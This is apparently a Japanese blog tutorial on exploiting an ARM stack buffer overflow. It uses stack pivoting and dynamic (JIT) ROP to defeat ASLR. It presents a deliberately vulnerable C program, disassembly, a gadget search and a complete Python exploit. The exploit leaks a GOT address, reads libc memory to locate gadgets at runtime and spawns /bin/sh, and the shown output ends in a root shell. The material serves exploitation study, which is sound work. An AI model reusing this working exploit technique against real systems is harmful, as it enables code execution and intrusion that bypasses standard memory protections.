ARMでstack pivot、Dynamic ROPをやってみる
「ARMでReturn-oriented Programming(ROP)をやってみる」ではlibcのベースアドレス、libc関数のオフセットを調べた上でROPを行った。 ここでは、ASLRが有効となっている場合を想定し、GOTアドレスの書き出しおよびstack pivotをもとにしたDynamic ROP(JIT-ROP)によりシェルを起動してみる。
環境
Ubuntu 14.04.2 LTS ARM版(ユーザモードQEMU利用)
# uname -a Linux c7b94bb2fc1e 2.6.32 #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 armv7l armv7l armv7l GNU/Linux # lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 14.04.2 LTS Release: 14.04 Codename: trusty # gcc --version gcc (Ubuntu/Linaro 4.8.2-19ubuntu1) 4.8.2
脆弱性のあるプログラムを書いてみる
まず、スタックバッファオーバーフロー脆弱性のあるプログラムコードを書く。 このコードは、「ARMでReturn-oriented Programming(ROP)をやってみる」のものと同じである。
/* bof.c */
#include <unistd.h>
int main()
{
char buf[100];
int size;
read(0, &size, 4);
read(0, buf, size);
write(1, buf, size);
return 0;
}
ここでは、read/write関数を使い、データ長とその長さのデータを読み込んでいる。
DEP有効、SSP無効でコンパイルし、実行してみると次のようになる。 なお、QEMUによるエミュレーションのため、ASLRは常に無効となっている。
# gcc -fno-stack-protector bof.c # echo -en '\x05\x00\x00\x00AAAA\n' | ./a.out AAAA
正常に実行できていることが確認できる。
生成された実行ファイルをディスアセンブルし、main関数に対応する部分を抜き出してみる。
# objdump -d a.out | awk '/<main>:/,/^$/'
00008420 <main>:
8420: b580 push {r7, lr}
8422: b09a sub sp, #104 ; 0x68
8424: af00 add r7, sp, #0
8426: 463b mov r3, r7
8428: 2000 movs r0, #0
842a: 4619 mov r1, r3
842c: 2204 movs r2, #4
842e: f7ff ef6c blx 8308 <_init+0x20>
8432: 683b ldr r3, [r7, #0]
8434: 1d3a adds r2, r7, #4
8436: 2000 movs r0, #0
8438: 4611 mov r1, r2
843a: 461a mov r2, r3
843c: f7ff ef64 blx 8308 <_init+0x20>
8440: 683b ldr r3, [r7, #0]
8442: 1d3a adds r2, r7, #4
8444: 2001 movs r0, #1
8446: 4611 mov r1, r2
8448: 461a mov r2, r3
844a: f7ff ef70 blx 832c <_init+0x44>
844e: 2300 movs r3, #0
8450: 4618 mov r0, r3
8452: 3768 adds r7, #104 ; 0x68
8454: 46bd mov sp, r7
8456: bd80 pop {r7, pc}
アセンブリコードの内容から、「ARMで単純なスタックバッファオーバーフローをやってみる」の場合と同じくリターンアドレスがバッファの先頭から104バイト先に配置されていることがわかる。 ここでは、このオフセットについてデバッガで確認する手順は省略する。
ライブラリ関数に対応するPLTおよびGOTのアドレスを調べてみる
read/write関数を用いたROP stagerを行うために、read/write関数のPLTアドレスを調べてみる。 また、libcベースアドレス特定のために用いる__libc_start_main関数のGOTアドレスも合わせて調べる。
実行ファイルのディスアセンブル結果を見てみると、x86/x64の場合とは異なり、PLTにそれぞれのライブラリ関数に対応するシンボル情報がないことがわかる。
# objdump -d a.out
Disassembly of section .plt:
000082f4 <.plt>:
82f4: e52de004 push {lr} ; (str lr, [sp, #-4]!)
82f8: e59fe004 ldr lr, [pc, #4] ; 8304 <_init+0x1c>
82fc: e08fe00e add lr, pc, lr
8300: e5bef008 ldr pc, [lr, #8]!
8304: 00008cfc .word 0x00008cfc
8308: e28fc600 add ip, pc, #0, 12
830c: e28cca08 add ip, ip, #8, 20 ; 0x8000
8310: e5bcfcfc ldr pc, [ip, #3324]! ; 0xcfc
8314: e28fc600 add ip, pc, #0, 12
8318: e28cca08 add ip, ip, #8, 20 ; 0x8000
831c: e5bcfcf4 ldr pc, [ip, #3316]! ; 0xcf4
8320: e28fc600 add ip, pc, #0, 12
8324: e28cca08 add ip, ip, #8, 20 ; 0x8000
8328: e5bcfcec ldr pc, [ip, #3308]! ; 0xcec
832c: e28fc600 add ip, pc, #0, 12
8330: e28cca08 add ip, ip, #8, 20 ; 0x8000
8334: e5bcfce4 ldr pc, [ip, #3300]! ; 0xce4
8338: e28fc600 add ip, pc, #0, 12
833c: e28cca08 add ip, ip, #8, 20 ; 0x8000
8340: e5bcfcdc ldr pc, [ip, #3292]! ; 0xcdc
このままでは、どの箇所がどのライブラリ関数に対応するかを容易に特定できない。
しかし、実はARMの場合はrel.pltセクションの情報からこれを調べることができる。
# readelf -r a.out Relocation section '.rel.plt' at offset 0x2c0 contains 5 entries: Offset Info Type Sym.Value Sym. Name 0001100c 00000216 R_ARM_JUMP_SLOT 00008308 read 00011010 00000516 R_ARM_JUMP_SLOT 00008314 __libc_start_main 00011014 00000116 R_ARM_JUMP_SLOT 00000000 __gmon_start__ 00011018 00000316 R_ARM_JUMP_SLOT 0000832c write 0001101c 00000416 R_ARM_JUMP_SLOT 00008338 abort
上の結果の場合、read、write関数に対応するPLTアドレスはそれぞれ0x8308、0x832cとなる。
また、ライブラリ関数に対応するGOTアドレスは上の結果におけるOffsetの値から調べられる。
したがって、__libc_start_main関数のGOTアドレスは0x11010となる。
stack pivotを行うgadgetを探してみる
ROP stagerにおいて送り込んだデータにスタックポインタを移し変えるには、spレジスタの値を変更する必要がある。 そこで実行ファイルをディスアセンブルし、spレジスタに関連する部分を調べると次のようなgadgetが見つかる。
00008420 <main>:
...
8454: 46bd mov sp, r7
8456: bd80 pop {r7, pc}
これを用い、0x8456でスタックからr7レジスタをセットした後、0x8454でr7レジスタの値をspレジスタにセットすることでstack pivotを行うことができる。
なお、clangでコンパイルした場合対応する箇所がThumb命令でなくARM命令となるが、同様の順序でr7レジスタの代わりにfp(r11)レジスタを使うことでstack pivotを行うことができる。
$ clang -fno-stack-protector bof.c $ objdump -d a.out | less
00008420 <main>:
...
848c: e1a0d00b mov sp, fp
8490: e8bd8800 pop {fp, pc}
また、r7レジスタは__libc_csu_init関数内にある次のgadgetにてセット可能である。
00008458 <__libc_csu_init>:
...
848a: e8bd 83f8 ldmia.w sp!, {r3, r4, r5, r6, r7, r8, r9, pc}
そこで、ここではこのgadgetを使ってr7レジスタをセットすることでstack pivotを行うことにする。
エクスプロイトコードを書いてみる
ここまでの内容をもとに、read/write関数およびstack pivotを用いてDynamic ROPを行うエクスプロイトコードを書くと次のようになる。
# exploit.py
import struct
from subprocess import Popen, PIPE
addr_stage = 0x1102c # readelf -S a.out (.bss section)
offset = 104
addr_csu_init1 = 0x848a + 1 # load registers
addr_csu_init2 = 0x847e + 1 # move registers, blx r3 and above
addr_pivot = 0x8454 + 1 # mov sp, r7; pop {r7, pc}
addr_plt_read = 0x8308
addr_plt_write = 0x832c
addr_got_libc_start = 0x11010
"""
# readelf -r a.out
Relocation section '.rel.plt' at offset 0x2c0 contains 5 entries:
Offset Info Type Sym.Value Sym. Name
0001100c 00000216 R_ARM_JUMP_SLOT 00008308 read
00011010 00000516 R_ARM_JUMP_SLOT 00008314 __libc_start_main
00011014 00000116 R_ARM_JUMP_SLOT 00000000 __gmon_start__
00011018 00000316 R_ARM_JUMP_SLOT 0000832c write
0001101c 00000416 R_ARM_JUMP_SLOT 00008338 abort
# objdump -d a.out
00008458 <__libc_csu_init>:
...
847e: 4638 mov r0, r7
8480: 4641 mov r1, r8
8482: 464a mov r2, r9
8484: 4798 blx r3
8486: 42b4 cmp r4, r6
8488: d1f6 bne.n 8478 <__libc_csu_init+0x20>
848a: e8bd 83f8 ldmia.w sp!, {r3, r4, r5, r6, r7, r8, r9, pc}
00008420 <main>:
...
8454: 46bd mov sp, r7
8456: bd80 pop {r7, pc}
"""
p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)
# stage 1: read the address of __libc_start_main
buf = 'A' * offset
buf += struct.pack('<IIIIIIII', addr_csu_init1, addr_plt_write, 0, 0, 0, 1, addr_got_libc_start, 4)
buf += struct.pack('<IIIIIIII', addr_csu_init2, addr_plt_read, 0, 0, 0, 0, addr_stage, 0x80)
buf += struct.pack('<IIIIIIII', addr_csu_init2, 0, 0, 0, 0, addr_stage-4, 0, 0)
buf += struct.pack('<I', addr_pivot)
size = struct.pack('<I', len(buf))
p.stdin.write(size)
print "[<] %r" % size
p.stdin.write(buf)
print "[<] %r" % buf
line = p.stdout.read(len(buf))
print "[>] %r" % line
data = p.stdout.read(4)
addr_libc_start = struct.unpack('<I', data)[0]
print "[+] addr_libc_start = %x" % addr_libc_start
# stage 2: read the libc memory
libc_read_size = 0xc0000
buf = struct.pack('<IIIIIIII', addr_csu_init1, addr_plt_write, 0, 0, 0, 1, addr_libc_start, libc_read_size)
buf += struct.pack('<IIIIIIII', addr_csu_init2, addr_plt_read, 0, 0, 0, 0, addr_stage+0x60, 0x80)
buf += struct.pack('<IIIIIIII', addr_csu_init2, 0, 0, 0, 0, 0, 0, 0)
buf += 'A' * (0x80-len(buf)) # here is overwritten by stage 3
p.stdin.write(buf)
data = p.stdout.read(libc_read_size)
print "[+] read %x bytes" % len(data)
addr_stage += 0x60
# stage 3: execve("/bin/sh", NULL, NULL)
addr_pop_r0_3fp = addr_libc_start + data.index('\xbd\xe8\x0f\x88') + 1
addr_pop_r4_7 = addr_libc_start + data.index('\xf0\xbd') + 1
addr_svc0 = addr_libc_start + data.index('\x00\xdf') + 1
nr_execve = 11
"""
$ objdump -d /lib/arm-linux-gnueabihf/libc.so.6 | grep ldmia | grep pc | grep r0
955a6: e8bd 880f ldmia.w sp!, {r0, r1, r2, r3, fp, pc}
$ objdump -d /lib/arm-linux-gnueabihf/libc.so.6 | grep pop | grep pc | grep r7
17d8a: bdf0 pop {r4, r5, r6, r7, pc}
$ objdump -d /lib/arm-linux-gnueabihf/libc.so.6 | grep svc | grep 0
178e4: df00 svc 0
$ grep execve /usr/include/arm-linux-gnueabihf/asm/unistd.h
#define __NR_execve (__NR_SYSCALL_BASE+ 11)
"""
buf = struct.pack('<IIIIII', addr_pop_r0_3fp, addr_stage+0x30, 0, 0, 0, 0)
buf += struct.pack('<IIIII', addr_pop_r4_7, 0, 0, 0, nr_execve)
buf += struct.pack('<I', addr_svc0)
buf += "/bin/sh\x00"
buf += 'A' * (0x80-len(buf))
p.stdin.write(buf)
p.stdin.write('exec /bin/sh <&2 >&2\n')
p.wait()
上のコードでは、実際のlibcに含まれるgadgetをもとに引数(r0~r6レジスタ)とシステムコール番号(r7レジスタ)をセットし、svc 0を実行することでシステムコールを呼び出している。
また、コード中にlibcのベースアドレス、libc関数のオフセットが含まれないことからわかるように、このコードはASLRが有効な条件下でも動作する(PIEの場合を除く)。
実際にエクスプロイトコードを実行すると次のようになる。
$ python exploit.py [<] '\xcc\x00\x00\x00' [<] 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x8b\x84\x00\x00,\x83\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x10\x10\x01\x00\x04\x00\x00\x00\x7f\x84\x00\x00\x08\x83\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00,\x10\x01\x00\x80\x00\x00\x00\x7f\x84\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00U\x84\x00\x00' [>] 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x8b\x84\x00\x00,\x83\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x10\x10\x01\x00\x04\x00\x00\x00\x7f\x84\x00\x00\x08\x83\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00,\x10\x01\x00\x80\x00\x00\x00\x7f\x84\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00U\x84\x00\x00' [+] addr_libc_start = f6707599 [+] read c0000 bytes # id uid=0(root) gid=0(root) groups=0(root) #
read/write関数とstack pivotを使い、libcバイナリの情報を用いることなくDynamic ROPによりシェルが起動できていることが確認できた。